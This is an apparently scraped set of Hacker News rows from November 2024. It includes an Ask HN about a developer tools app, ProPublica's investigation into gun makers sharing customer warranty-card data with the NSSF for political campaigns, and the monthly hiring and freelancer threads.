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42,017,430 | hk1337 | 2024-11-01T14:47:44 | Ask HN: IT Tools macOS Application | First, I hope this okay. If not I am sorry.<p>Looking for a developer tools application.<p>I found this post which has a lot of good stuff but nothing quite like what it is I used before.<p>https://github.com/CorentinTh/it-tools/<p>IT Tools is REALLY close to what it is but this is web based and I remember it being an application.<p>It may be an iOS or iPad OS app that I am thinking of and IT Tools may have been the closest I could get on the computer.<p>Thanks for reading. | null | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
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42,017,453 | rbanffy | 2024-11-01T14:49:45 | Iconic gun-makers gave sensitive customer information to political operatives | null | https://www.propublica.org/article/gunmakers-owners-sensitive-personal-information-glock-remington-nssf | 86 | 101 | [
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For years, America’s most iconic gun-makers turned over sensitive personal information on hundreds of thousands of customers to political operatives.
Those operatives, in turn, secretly employed the details to rally firearm owners to elect pro-gun politicians running for Congress and the White House, a ProPublica investigation has found.
The clandestine sharing of gun buyers’ identities — without their knowledge and consent — marked a significant departure for an industry that has long prided itself on thwarting efforts to track who owns firearms in America.
At least 10 gun industry businesses, including Glock, Smith & Wesson, Remington, Marlin and Mossberg, handed over names, addresses and other private data to the gun industry’s chief lobbying group, the National Shooting Sports Foundation. The NSSF then entered the gun owners’ details into what would become a massive database.
The data initially came from decades of warranty cards filled out by customers and returned to gun manufacturers for rebates and repair or replacement programs.
A ProPublica review of dozens of warranty cards from the 1970s through today found that some promised customers their information would be kept strictly confidential. Others said some information could be shared with third parties for marketing and sales. None of the cards informed buyers their details would be used by lobbyists and consultants to win elections.
Warranty card from Remington with common usage disclosure language
Selected text
Thanks for taking the time to fill out this questionnaire. Your answers will be used for market research
studies and reports — and will help us better serve you in the future. They will also allow you to
receive important mailings and special offers from a
number of fine companies whose products and services relate directly to the specific interests, hobbies,
and other information indicated above.
Credit:
Obtained by ProPublica
The gun industry launched the project approximately 17 months before the 2000 election as it grappled with a cascade of financial, legal and political threats. Within three years, the NSSF’s database — filled with warranty card information and supplemented with names from voter rolls and hunting licenses — contained at least 5.5 million people.
Jon Leibowitz, who was appointed to the Federal Trade Commission by President George W. Bush in 2004 and served as chair under President Barack Obama, reviewed several company privacy policies and warranty cards at ProPublica’s request. The commission has enforced privacy protections since the 1970s.
Leibowitz said firearms companies that handed over customer information may have breached federal and state prohibitions against unfair and deceptive business behavior and could face civil sanctions.
“This is super troubling,” said Leibowitz, who left the commission in 2013. “You shouldn’t take people’s data without them knowing what you’re doing with it — and give it or sell it to others. It is the customer’s information, not the company’s.”
The undisclosed collection of intimate gun owner information is in sharp contrast with the NSSF’s public image.
Founded in 1961 and currently based in Shelton, Connecticut, the trade organization represents thousands of firearms and ammunition manufacturers, distributors, retailers, publishers and shooting ranges. It is funded by membership dues, donations, sponsored events and government grants. While not as well known as the chief lobbyist for gun owners, the National Rifle Association, the NSSF is respected and influential in business, political and gun-rights communities.
For two decades, the group positioned itself as an unwavering watchdog of gun owner privacy. The organization has raged against government and corporate attempts to amass information on gun buyers. As recently as this year, the NSSF pushed for laws that would prohibit credit card companies from creating special codes for firearms dealers, claiming the codes could be used to create a registry of gun purchasers.
As a group, gun owners are fiercely protective about their personal information. Many have good reasons. Their ranks include police officers, judges, domestic violence victims and others who have faced serious threats of harm.
In a statement, the NSSF defended its data collection. Any suggestion of “unethical or illegal behavior is entirely unfounded,” the statement said, adding that “these activities are, and always have been, entirely legal and within the terms and conditions of any individual manufacturer, company, data broker, or other entity.”
The gun industry companies either did not respond to ProPublica or declined to comment, noting they are under different ownership today and could not find evidence that customer information was previously shared. One ammunition maker named in the NSSF documents as a source of data said it never gave the trade group or its vendors any “personal information.”
ProPublica established the existence of the secret program after reviewing tens of thousands of internal corporate and NSSF emails, reports, invoices and contracts. We also interviewed scores of former gun executives, NSSF employees, NRA lobbyists and political consultants in the U.S. and the United Kingdom.
“This is super troubling. You shouldn’t take people’s data without them knowing what you’re doing with it — and give it or sell it to others. It is the customer’s information, not the company’s.”
Jon Leibowitz former Federal Trade Commission chair, when presented with information about the NSSF database
The insider accounts and trove of records lay bare a multidecade effort to mobilize gun owners as a political force. Confidential information from gun customers was central to what NSSF called its voter education program. The initiative involved sending letters, postcards and later emails to persuade people to vote for the firearms industry’s preferred political candidates. Because privacy laws shield the names of firearm purchasers from public view, the data NSSF obtained gave it a unique ability to identify and contact large numbers of gun owners or shooting sports enthusiasts.
It also allowed the NSSF to figure out whether a gun buyer was a registered voter. Those who weren’t would be encouraged to register and cast their ballots for industry-supported politicians.
From 2000 to 2016, the organization poured more than $20 million into its voter education campaign, which was initially called Vote Your Sport and today is known as GunVote. The NSSF trumpeted the success of its electioneering in reports, claiming credit for putting both George W. Bush and Donald J. Trump in the White House and firearm-friendly lawmakers in the U.S. House and Senate.
In April 2016, a contractor on NSSF’s voter education project delivered a large cache of data to Cambridge Analytica, a political consulting firm credited with playing a key role in Trump’s narrow victory that year. The company later went out of business amid a global scandal over its handling of confidential consumer data.
The data given to Cambridge included 20 years of gun owners’ warranty card information as well as a separate database of customers from Cabela’s, a sporting goods retailer with approximately 70 stores in the U.S. and Canada.
Cambridge combined the NSSF data with a wide array of sensitive particulars obtained from commercial data brokers. It included people’s income, their debts, their religion, where they filled prescriptions, their children’s ages and purchases they made for their kids. For women, it revealed intimate elements such as whether the underwear and other clothes they purchased were plus size or petite.
The information was used to create psychological profiles of gun owners and assign scores to behavioral traits, such as neuroticism and agreeableness. The profiles helped Cambridge tailor the NSSF’s political messages to voters based on their personalities.
GunVote is in full swing this year, but it is unclear what role, if any, the database is playing in the election.
The pro-gun candidates the NSSF helped send to the White House and Congress in the last two decades have secured major political victories for the industry. They blocked Congress from extending a ban on assault weapons sold to civilians and granted gun companies sweeping legal immunity from lawsuits related to the misuse of firearms.
As the body count from mass shootings at schools and elsewhere in the nation has climbed, those politicians have halted proposals to resurrect the assault weapons ban and enact other gun control measures, even those popular with voters, such as raising the minimum age to buy an assault rifle from 18 to 21.
In response to questions from ProPublica, the NSSF acknowledged it had used the customer information in 2016 for “creating a data model” of potentially sympathetic voters. But the group said the “existence and proven success of that model then obviated the need to continue data acquisition via private channels and today, NSSF uses only commercial-source data to which the data model is then applied.”
The NSSF declined to elaborate or answer additional questions, including whether the trade group notified people in its database about how it was using their information.
In 2022, Sen. Richard Blumenthal, D-Conn., sent the NSSF a list of questions after reading leaked documents that made a passing reference to the database. In its answers, the NSSF would not acknowledge the database’s existence.
“The hypocrisy of warning about a governmental registry and at the same time establishing a private registry for political purposes is stunning,” Blumenthal said after learning about the program from ProPublica. “Absolutely staggering.”
“We didn't have any friends in that room”
It started with a school shooting.
On Jan. 17, 1989, a man armed with a Chinese-made AK-47 walked onto the campus of an elementary school in Stockton, California. He fired more than 100 rounds in approximately two minutes, killing five children and injuring more than two dozen others.
The shooter had an extensive criminal history but had no trouble buying the weapon from an Oregon gun store. Oregon and federal laws didn’t require background checks for purchasing semiautomatic rifles like an AK-47.
The rampage shocked the nation.
The Bureau of Alcohol, Tobacco, Firearms and Explosives suspended imports on foreign made semiautomatic weapons. President George H.W. Bush, an avid hunter and NRA member, made the suspension permanent, blocking 43 types of internationally made weapons from being sold in the U.S. California banned more than 50 brands and models of rifles, shotguns and pistols. Chief among them was the TEC-9, a semiautomatic pistol popularized in TV shows like “Miami Vice” that had become the weapon of choice for gangs and drug dealers. New Jersey passed legislation forbidding the sale of TEC-9s in the state.
A young lobbyist representing the weapon’s small Miami-based manufacturer, Intratec, watched gun executives testify at a hostile congressional hearing in the early 1990s. He wondered how the industry could fight back. “We didn’t have any friends in that room,” Richard Feldman recalled recently. “I thought if the people who actually used and liked the TEC-9 were here, maybe we could have an impact.”
Richard Feldman at his home in Rindge, New Hampshire. Feldman, while working as a gun industry lobbyist, originated the idea of using product registration forms as a political tool to mobilize gun owners. The National Shooting Sports Foundation later used warranty cards and other data to locate and persuade hunters, shooters and gun enthusiasts to vote for the industry’s preferred candidates.
Credit:
T.J. Kirkpatrick for ProPublica
After the hearing, Feldman said, he asked Intratec for the firm’s warranty cards. Almost immediately, Intratec sent him boxes upon boxes for his review. They contained more than 90,000 names of owners across the country. Building a database would be a monumental task, one beyond the resources of the lobbying organization Feldman worked for. But Feldman said he saw the idea’s potential for the gun industry. About 4 in 10 households nationwide owned guns, and only a small fraction of those people belonged to the NRA. If the massive numbers of gun enthusiasts could be mobilized, Feldman thought, the fight over gun control would be fairer. (Intratec went out of business in 2001.)
Then on July 1, 1993, a failed businessman, armed with two TEC-9s and a grudge, killed eight people and injured six inside a law office in San Francisco. At the time, the tragedy was the deadliest shooting in Bay Area history, and again the nation’s attention was focused on high-powered guns.
With the support of President Bill Clinton’s White House and over the vehement protests of the gun industry and the NRA, Congress banned the sale of assault weapons for 10 years and required background checks on firearms purchasers. In a sign of bipartisan support, dozens of Republican lawmakers voted for the assault weapon ban, and it was endorsed by former Presidents Gerald Ford, Jimmy Carter and Ronald Reagan.
Worried about the gathering momentum of gun control, Feldman said sometime in the mid-1990s he shared the warranty card idea with James Jay Baker, a lawyer who had been the chief lobbyist for the NRA. Baker at that time represented the firearms industry and reported directly to the president of the NSSF.
First image: Wayne LaPierre, CEO and executive vice president of the National Rifle Association of America; James Jay Baker, then executive director of the NRA’s Institute of Legislative Affairs; and Feldman at an NRA convention in 1992. Second image: Feldman with President Bill Clinton and U.S. Attorney General Janet Reno at a White House ceremony in 1997.
Credit:
Courtesy of Richard Feldman
Feldman flew to Washington, D.C., and met Baker at his small office. As Feldman explained the political benefits of an industrywide warranty card project, Baker became excited, Feldman remembered.
“He loved the idea,” Feldman said. (Baker didn’t respond to messages and hung up when a ProPublica reporter reached him by phone.)
By June 1997, Bushnell, which makes rifle accessories, had given the NSSF a list of customers who had filled out warranty cards, according to an NSSF monthly report to its members. (A spokesperson for Vista Outdoor, which acquired Bushnell in 2014, said the firm has “no evidence that such information was shared under prior ownership” and that the “NSSF reports that no such information was ever shared by Bushnell.”)
In a letter sent to gun industry executives two months later, Baker complained that only two companies had provided data. The letter, sent to the leaders of Marlin, Remington, Smith & Wesson, and 17 other major companies, urged manufacturers to join the warranty card sharing and stressed the need for more tools to politically mobilize gun owners.
Baker urges firearms industry leaders to share their warranty cards
Selected text
I'm told that only two companies have forwarded their database, and unless we wish to rely upon other
groups' efforts, this as-yet-uncompiled database will be our single greatest resource for both
grassroots work and PAC development. Anything you can do to assist in the compilation effort would be
greatly appreciated.
Excerpt of a letter from James Jay Baker to members of the Sporting Arms and Ammunition Manufacturers’ Institute executive committee
Credit:
Obtained by ProPublica
“This as-yet-uncompiled database will be our single greatest resource for both grassroots work and PAC [Political Action Committee] development,” Baker wrote. “Anything you can do to assist in the compilation effort would be greatly appreciated.”
“Initial participation in the database has been very positive”
It was another school shooting that accelerated gun control reforms in the late 1990s and propelled a dramatic change in the way the industry would respond.
On April 20, 1999, two teenagers stalked the halls of Columbine High School in Littleton, Colorado. They wore black trench coats and were armed with a TEC-9, a carbine rifle, two shotguns and pipe bombs.
The pair sprayed 188 rounds of ammunition, killing 13 people and injuring 24 others, before ending their murderous spree in suicide.
The news roiled the titans of America’s gun companies. They were already panicked over a succession of cataclysmic threats. Domestic production sagged throughout the decade as the ranks of their prime customer base, hunters, grew older and fewer.
Two months before the Columbine massacre, a federal jury for the first time held 15 firearms makers liable for shootings in New York. The verdict came in a lawsuit that used a novel theory arguing that manufacturer negligence was a key contributor to the violence. A procession of cities, aided by gun control groups and high-powered law firms, filed similar suits that threatened to force much of the industry into bankruptcy. Two companies — including one of the nation's largest handgun makers — closed.
Now, in the wake of the Colorado school shooting, congressional leaders were calling for tighter gun restrictions and expanded background checks. Vice President Al Gore would make gun control a central part of his presidential campaign the next year.
For weeks, firearms industry executives from as far as Oregon and New York flew into NSSF meetings held in Bridgeton, Missouri; Dulles, Virginia; and Phoenix to hammer out an action plan. They eliminated the NSSF’s self-imposed prohibition on campaigning and agreed to hire lobbyists for a Washington, D.C., office, according to internal NSSF board records.
“The hypocrisy of warning about a governmental registry and at the same time establishing a private registry for political purposes is stunning. Absolutely staggering.”
Sen. Richard BlumenthalD-Conn.
The lurch toward electioneering represented a seismic shift for the NSSF. Since 1961, the organization’s bylaws blocked any involvement in politics. For most of that time, gun companies had been content to allow the NRA and other groups to speak publicly on behalf of firearms interests.
In late 1999, 22 executives were tapped to oversee a new group created by the NSSF, the Hunting and Shooting Sports Heritage Foundation. The foundation’s purpose was to defend the gun industry from the legal onslaught and transform its public image, according to NSSF records.
In an interview with ProPublica, Larry Keane, senior vice president of the NSSF since 2000, downplayed the scope and significance of the database. Only two manufacturers provided warranty cards to the NSSF, he said. The trade group, he initially claimed, did not keep the information but simply converted the warranty cards into data that was returned to the manufacturers.
But internal organization records paint a different picture.
“Initial participation in the database has been very positive and we will have 400,000 names on file and available by year’s end,” said a November 1999 NSSF board document. Five manufacturers had already turned over data from warranty cards. One state conservation agency had offered hunting license information, according to the document, which didn’t name the agency.
“We also propose to sell the database to NSSF members, as well as non-shooting related companies and organizations to offset the cost of data entry and maintenance,” the record said.
A draft copy of the policies and procedures for the Hunting and Shooting Sports participant database said purchasers of the list could buy a segment or all of it.
“At no time will any outside party be provided with any information relating to the source of the names,” the draft said. The document did not address customer consent or privacy issues.
The NSSF did not respond to a ProPublica question asking whether it had ever sold the data.
The database drew on warranty cards, hunting licenses and NSSF mailing lists, the draft of the policies and procedures said. The customer items captured included first and last names, addresses and dates of birth. Additionally, it would include age of the gun owners, gender, income, education, email addresses, profession, number of firearms, household size, dates of gun purchases, whether they were a hunter or target shooter, and average days at the gun range or on the hunt.
Gun company warranty cards often asked detailed personal questions of their customers
Various manufacturers inquired about customers’ major life events, annual income, education and occupation.
Bushnell
Smith & Wesson
Marlin
Credit:
Obtained by ProPublica
Nearly 100 companies committed a percentage of their sales to the Hunting and Shooting Sports Heritage Foundation. The foundation raised about $10 million in the months before the 2000 election, according to NSSF documents, and spent $6 million on direct mail, TV and radio ads for the presidential and congressional races. The NSSF’s first-ever election campaign, Vote Your Sport, was born.
The goal was to galvanize gun owner, shooting sports enthusiast and hunter support for George W. Bush and the Republican ticket. The NSSF picked 11 states — Arkansas, Kentucky, Michigan, Minnesota, Missouri, Montana, Nevada, Ohio, Pennsylvania, Virginia and Washington. If turnout was successful in those areas, Bush would pick up nearly half of the 270 electoral votes needed to win.
Vote Your Sport received a boost when retailer Cabela’s decided to help. Founded in 1961 and headquartered in Sidney, Nebraska, the company specialized in selling guns and related accessories to hunters, shooters and outdoor enthusiasts. On its website, the Hunting and Shooting Sports Heritage Foundation publicly listed manufacturers, dealers and other contributors; Cabela’s was not included. But an NSSF summary of its electioneering said the retailer shared data on 356,000 customers.
Cabela’s privacy policies in 2000 told customers their information would not be shared for commercial purposes but their postal addresses could be given to “reputable companies” in “order to keep you informed of other outdoor products and manufacturers.” There was no mention of using the information for political purposes.
Contrasting Cabela's data sharing with its privacy policy
NSSF board documents
Privacy policy in November 2000
Selected text
The information we collect is used to improve the content of our Web site, used to notify consumers about updates to our Web site or problems with their request, and not shared with other organizations for commercial purposes.
Selected text
In order to keep you informed of other outdoor products and manufacturers, we occasionally make our customer postal address list available to other reputable companies.
First image: Excerpt from documents given to NSSF board members for a Nov. 14, 2000, meeting in Tampa, Florida. Second and third images: Cabelas.com as it appeared on Nov. 14, 2000.
Credit:
First image: Obtained by ProPublica. Second and third images: Screenshot of cabelas.com via web.archive.org.
Bass Pro Shops, which bought Cabela’s in 2017, said in a statement that the company had been unable to find evidence that Cabela’s had taken any action “that would violate our long-standing policy of protecting our customers’ privacy.”
Less than two weeks before the 2000 election, the Vote Your Sport campaign used Cabela’s names and a list of hunters purchased from a data broker company to send mail to more than 2.5 million people in the targeted states.
It’s difficult to assess Vote Your Sport’s impact. But the NSSF claimed in a public report the next year that it was a “critical component” of Bush’s victory.
“Given the closeness of the election, it’s easy to imagine a different outcome” without the gun industry’s get-out-the-vote effort, the report said.
About 3 million more people in the targeted states voted than in 1996. Seven million hunters and shooters lived in the 11 states, the NSSF estimated. An overwhelming majority of those voters nationwide favored Bush, according to the report, which cited a survey of hunters and shooters. Fifty-two percent of respondents said they received a Vote Your Sport letter and supported the message.
The NSSF was now fully in the election business.
A Vote Your Sport advertisement created by the NSSF in 2004
Credit:
Downloaded from voteyoursport.com via web.archive.org
Mark Joslyn, a professor of political science at the University of Kansas who has studied the influence of gun ownership on political behavior, said voter surveys show a massive shift occurred in 2000. Although registered Democrats and independents together account for the majority of gun owners, Bush won 66% of the gun owner vote, he said. And in every election since — even in 2008 and 2012 when the national electorate picked Barack Obama as president — the top choice of firearm owners remained the Republican Party, Joslyn said.
Ken Strasma, former national data director for John Kerry and Barack Obama, said rumors had swirled for years in Democratic circles that Republican campaigns were aided by some special database.
“There hasn’t been a publicly available list like that. We certainly haven’t gotten anything from the NSSF,” Strasma said. “They want to keep their advantage by only sharing it with the Republican side.”
“There will be no looking back”
Six months after the 2000 election, more than 100 executives from gun-makers and shooting sports organizations gathered for an invitation-only lunch in Kansas City, Missouri.
Addressing the crowd was Chris LaCivita, then the political director for the National Republican Senatorial Committee who now serves as campaign manager for Trump. LaCivita praised the industry’s election work but warned the executives they would “face ferocious opposition” if they didn’t intensify.
“Without the support of the [industry] I think it’s safe to say that we would be suffering through a continuation of the most anti-gun administration in the history of our nation,” LaCivita said. “If you can repeat your success in 2002 and 2004, there will be no looking back.”
(In response to questions from ProPublica, LaCivita did not say whether he knew about the database when he gave his speech but said he does not support “a database of gun owners, but rather 2nd Amendment supporters. There is a difference.”)
In the months after Bush’s razor-thin victory, the NSSF expanded the database. Boxes of warranty cards were regularly delivered to NSSF headquarters at the time in Newtown, Connecticut, a white colonial-style, multilevel building that rested on top of a hilly road, according to interviews with several former NSSF employees who worked on the project.
On the first floor was a huge stuffed bear, shot and killed by an NSSF president during an Alaskan hunt. A vault that once belonged to a bank doubled as a records room and a shrine to guns, displaying a vast assortment of old and new pistols, rifles and shotguns.
At times, the NSSF hired college-aged temporary workers to enter data. Posted up in a small, nondescript room on the second floor, they sat at flashing LCD computer screens on long tables. Nearby, boxes full of aged, fading warranty cards were stacked high. An NSSF staffer sometimes watched to ensure the temps didn’t goof off.
Violating their promises of strict confidentiality on warranty cards or failing to mention that consumer information could be given to the NSSF may qualify as a deceptive practice under the Federal Trade Commission Act, privacy and legal experts said. Under the law, companies must follow their privacy policies and be clear with consumers about how they will use their information.
Typically, the FTC focuses enforcement on companies that profit from their misuse of consumer information. Leibowitz, the former chair of the commission, said gun-makers could claim they didn’t share the data for a commercial purpose or to make money. But, he said, sharing the information with a third party in a way that would mislead a reasonable person could still violate the law, regardless of the motive.
The database contained 3.4 million records by May 2001, according to an NSSF board document. Of those, 523,000 came from warranty cards supplied by the group’s members. The additional names were acquired from lists of voters and hunting licenses.
By February 2002, the database, now called Data Hunter, had grown to include 5.5 million names of hunters, shooters, outdoor enthusiasts and other voters, according to another NSSF board record. Manufacturers contributing names included Glock, Marlin Firearms, Mossberg, Savage, Sigarms and Smith & Wesson. The document said other sources included Remington, Hornady, Alliant Powder and USA Shooting, which has trained Olympic sharpshooters since the 1970s and oversees local, state and national rifle, pistol and shotgun competitions.
An update on NSSF’s database in 2002
Selected text
In 2001, NSSF developed a master relational database of hunters, shooters, outdoor enthusiasts and voters called Data Hunter. Our database now includes 5.5 million names, many of which have been enriched with appended data.
Excerpt from documents given to NSSF Board members for a Feb. 28, 2002, meeting in Orlando
Credit:
Obtained by ProPublica
Alliant Powder said it had “not provided personal information to the NSSF or any of its vendors.” Glock, Mossberg, Savage, Smith & Wesson, Olin Winchester and Hornady did not respond to requests for comment. Neither did Sig Sauer, which now owns Sigarms. An executive with Sturm, Ruger & Co., which bought Marlin Firearms in 2020, said “we cannot, and will not, comment on something Marlin may or may not have done 20 years ago.”
Remington has since been split into two companies and sold. Remarms, which owns the old firearms division, said it was unaware of the company’s workings at the time. The other portion of the company is now owned by Remington Ammunition, which said it had “not provided personal information to the NSSF or any of its vendors.” Two other gun companies identified in the NSSF board document either no longer exist or did not respond to a request for comment.
The records reviewed by ProPublica do not say where the NSSF focused its Vote Your Sport campaign in 2002 or provide exact insight about how the customer data was deployed.
But an email written by a Cambridge Analytica executive in 2016 mentioned that an NSSF contractor had been running the trade group’s voter education campaign “since 2002 and it has been almost entirely direct mail.” The contractor, he wrote, “was leveraging a database of fire arms manufacturing warranty cards (collected by the fire arms companies) to determine his targeting in key states (millions of people, if they bought a gun, and what kind of gun they bought).”
The 2002 midterm elections saw Republicans pick up seats in the Senate and House to control both chambers. Two years later, Bush won reelection and Republicans gained another four seats in the Senate as staunch supporters of the gun industry were swept to victory.
The new Congress and the White House rolled back many of the gains gun control advocates had made in the 1990s.
Despite preelection promises to support a renewal of the assault weapons ban, Bush took no action as the ban expired in 2004 and was silent as Republicans stymied reauthorization attempts.
His appointment of John Ashcroft — an ally of the gun industry and the NRA — as attorney general led to a reversal of the federal government’s philosophy and regulatory approach toward guns. Under Ashcroft, the Department of Justice for the first time interpreted the Second Amendment as guaranteeing an individual right to gun ownership, and not a state militia privilege, as had been its position since the 1970s.
Ashcroft stopped FBI agents investigating the Sept. 11, 2001, attacks from comparing the names of suspected terrorists against federal gun purchase records. And citing the privacy of law-abiding gun purchasers, he reduced how long the FBI could retain background check records from 90 days to a single business day.
Bush and Republican leaders in Congress also championed and passed a landmark bill that gave the gun industry broad immunity from the litigation that threatened its survival. The Protection of Lawful Commerce in Arms Act wiped out virtually all of the remaining city lawsuits filed against the industry in the late 1990s.
George W. Bush signs the Protection of Lawful Commerce in Arms Act on Oct. 26, 2005.
Credit:
White House photo by Paul Morse, via the George W. Bush Presidential Library & Museum
In the years since, lawmakers backed by the gun companies have squashed attempts to ban assault-style weapons and expand background checks, even after high-profile mass shootings. Emboldened by legal immunity, some manufacturers aggressively marketed assault weapons like the AR-15. In the last decade, AR-15-style rifles have generated more than $1 billion in sales, according to a 2022 review by the House Committee on Oversight and Reform.
Assault weapons are used in less than a third of mass shootings but account for a much higher portion of their deaths and injuries.
In 2012, less than 3 miles from the NSSF’s Connecticut headquarters at the time, a 20-year-old man armed with an assault rifle killed 26 people, including 20 children, at Sandy Hook Elementary School. Four years later, 49 people were slain and 53 wounded at a Florida nightclub by a man shooting an assault rifle who had pledged allegiance to the leader of the Islamic State group.
The next year, a gunman at the Mandalay Bay Resort and Casino in Las Vegas opened fire on a crowd attending a country music festival, killing 60 and wounding more than 400. Authorities said he used 14 assault rifles to carry out the slaughter.
On Valentine’s Day 2018, a former student of Marjory Stoneman Douglas High School walked onto the Parkland, Florida, campus armed with an AR-15-style rifle and murdered 14 students and three faculty members. He had legally purchased the weapon a year earlier at the age of 18.
The mass killing — the deadliest shooting at a U.S. high school to this day — focused a spotlight on federal law and the laws in many states allowing teenagers to buy rifles modeled on weapons of war. Within weeks, two congressional bills proposed raising the federal minimum age to buy an assault weapon from 18 to 21. Federal law already requires that handgun buyers be 21. Both proposals died quietly in committee.
Over the next few years, at least three more attempts in Congress to raise the minimum age failed to make it as far as a floor vote. Polls taken at the time show an overwhelming majority of Americans supported such a proposal.
Then, in May 2022, an 18-year-old white supremacist who had legally bought an AR-15-style assault rifle killed 10 Black Americans at a market in Buffalo, New York. At the time, the state restricted owning or buying a handgun to people 21 or older, but the law didn’t apply to rifles.
Ten days after the mass killings in Buffalo, another 18-year-old slaughtered 19 students and two teachers at Robb Elementary School in Uvalde, Texas. The shooter had purchased two AR-15-style rifles and carried out the attack within days of his 18th birthday.
A Pew Research Center survey last year again found overwhelming support among both Democrats and Republicans for raising the minimum age to buy a firearm. But since 2022, at least five more proposals to enact such a change in Congress have gone nowhere.
Last month at a high school in Georgia, a 14-year-old used an assault rifle to kill two students and two teachers and wound seven more people. Law enforcement sources told news outlets that the child’s father purchased the weapon for his son as a gift. Georgia law generally forbids anyone under 18 from possessing a handgun, but the age limit does not apply to rifles. Federal law similarly sets the minimum age to possess a handgun at 18 but has no restriction for possessing long guns.
Today’s gun landscape looks nothing like it did in 1994. Then, Americans owned 192 million firearms. The most recent best estimate now puts the number at 393 million, more than one firearm for every person in the U.S.
For the first time in history, guns are the No. 1 killer of children and teens. And, according to the Centers for Disease Control and Prevention, more people died from gunshots in a single year in 2021 than ever before.
In June, U.S. Surgeon General Vivek Murthy declared gun violence a public health crisis. He recommended assault weapon bans and universal background checks as strategies to bring down the death toll.
Collage image of Trump: Photo by Brooks Kraft/Getty Images. Collage image of Bush: Photo by John Edwards. Warranty cards obtained by ProPublica.
Gun images and other magazine archival imagery:
Shooting Industry Magazine (August 1999); The Small Arms Review (April 2000, October 2001); Guns & Ammo (May 2000); Shooting Times (February 2000, April 2000, June 2000, August 2000, October 2000, November 2000).
Design and development by Anna Donlan.
| 2024-11-08T14:51:13 | en | train |
42,017,454 | paulpauper | 2024-11-01T14:49:54 | What's the Most Profitable Movie of the Year? (No, I Won't Watch It.) | null | https://www.honest-broker.com/p/whats-the-most-profitable-movie-of | 1 | 2 | [
42019893
] | null | null | null | null | null | null | null | null | null | train |
42,017,461 | paulpauper | 2024-11-01T14:50:22 | Job – A Theatrical Review | null | https://www.infinitescroll.us/p/job-a-theatrical-review | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,474 | acmerfight | 2024-11-01T14:51:08 | Strategic Scala Style: Principle of Least Power | null | https://www.lihaoyi.com/post/StrategicScalaStylePrincipleofLeastPower.html | 2 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,504 | rfarley04 | 2024-11-01T14:54:08 | Throbac: THrifty Roman numeral BAckwards-looking Computer | null | https://mitmuseum.mit.edu/collections/object/2007.030.011 | 18 | 8 | [
42018156,
42025990,
42017927
] | null | null | null | null | null | null | null | null | null | train |
42,017,511 | superlucky84 | 2024-11-01T14:54:57 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,017,521 | mofosyne | 2024-11-01T14:56:05 | LLVM IR: Design, Evolution, and Applications (2022) | null | https://sahays.github.io/compiler/2022/07/17/llvm-ir-design-evolution-and-applications.html | 3 | 0 | [
42017725
] | null | null | null | null | null | null | null | null | null | train |
42,017,544 | yzyly | 2024-11-01T14:58:29 | Show HN: WebWhisper – Help You Listen to Any Website in a Playlist | null | https://webwhisper.online/ | 1 | 0 | null | null | null | null | null | null | null | null | null | null | train |
42,017,545 | react-cto | 2024-11-01T14:58:41 | null | null | null | 1 | null | [
42017546
] | null | true | null | null | null | null | null | null | null | train |
42,017,562 | Marius_Manola | 2024-11-01T15:00:38 | null | null | null | 1 | null | null | null | true | null | null | null | null | null | null | null | train |
42,017,564 | bookofjoe | 2024-11-01T15:00:47 | Waymo is now valued at $45B | null | https://electrek.co/2024/11/01/waymo-is-now-valued-at-a-staggering-45-billion/ | 2 | 0 | [
42017742
] | null | null | no_error | Waymo is now valued at a staggering $45 billion | 2024-11-01T13:07:34Z | Jennifer Mossalgue |
After getting a hefty $5.6 billion in fresh capital last week, Alphabet’s autonomous driving unit Waymo is now reported to be valued at more than $45 billion.
Automotive News reported that the latest round of financing led by Google-owned Alphabet included outside investors. Alongside an expanded partnership with Uber, the influx of cash will help the company expand its Waymo-One robotaxi service in San Francisco, Los Angeles, Phoenix, and beyond, delivering more than 150,000 paid trips each week.Waymo has come to symbolize progress in the self-driving space, after years of setbacks with the technology and a host of PR problems. For one, earlier this year, a Waymo robotaxi hit a cyclist in San Francisco – luckily that cyclist had only minor injuries. Still, a big part of its success has been the financial backing of its parent company Alphabet. Wamyo is part of Alphabet’s “Other Bets” portfolio of business, which includes Verily, which itself reported $388 million in third-quarter revenue.
As for Waymo, Alphabet also added another $5 billion to the pot this past June, to be distributed over the next few years. Waymo also aims to expand into new markets in Austin and Atlanta via its new partnership with Uber. How it’ll work is similar to how Waymo operates in San Francisco and other cities, with no safety driver in the front seat.
Waymo has said it is averaging 100,000 paid trips a week, a tenfold jump compared to last year. The company has also begun fully autonomous freeway operations in Phoenix and San Francisco and is testing its systems in Buffalo, New York, and Washington, DC.
According to Automotive News, Waymo’s co-CEOs Tekedra Mawakana and Dmitri Dolgov said existing investors participating in the recent funding include Andreessen Horowitz, Fidelity, Perry Creek, Silver Lake, Tiger Global, and T. Rowe Price.Of course, Waymo faces some likely competition from Tesla, which announced its self-driving Cybercab robotaxi at its We, Robot event. Tesla already offers a ride-hailing service for its Bay Area employees, but the company relies on safety drivers for now.
Photo credit: Waymo
Add Electrek to your Google News feed.
FTC: We use income earning auto affiliate links. More. | 2024-11-08T12:20:57 | en | train |
42,017,578 | whoishiring | 2024-11-01T15:01:56 | Ask HN: Who wants to be hired? (November 2024) | Share your information if you are looking for work. Please use this format:<p><pre><code> Location:
Remote:
Willing to relocate:
Technologies:
Résumé/CV:
Email:
</code></pre>
Please only post if you are personally looking for work. Agencies, recruiters, job boards,
and so on, are off topic here.<p>Readers: please only email these addresses to discuss work opportunities.<p>There's a site for searching these posts at <a href="https://www.wantstobehired.com" rel="nofollow">https://www.wantstobehired.com</a>. | null | 139 | 371 | [
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42,017,579 | whoishiring | 2024-11-01T15:01:57 | Ask HN: Freelancer? Seeking freelancer? (November 2024) | Please lead with either SEEKING WORK or SEEKING FREELANCER,
your location, and whether remote work is a possibility.<p>Please only post if you are personally looking to hire a freelancer or work as one.
Agencies, recruiters, job boards, and so on, are off topic here. | null | 25 | 134 | [
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42,017,580 | whoishiring | 2024-11-01T15:01:57 | Ask HN: Who is hiring? (November 2024) | New: Please only post a job if you actually intend to fill a position
and are committed to responding to everyone who applies.<p>----<p>Please state the location and include REMOTE for remote work, REMOTE (US)
or similar if the country is restricted, and ONSITE when remote work is <i>not</i> an option.<p>Please only post if you personally are part of the hiring company—no
recruiting firms or job boards. One post per company. If it isn't a household name,
explain what your company does.<p>Commenters: please don't reply to job posts to complain about
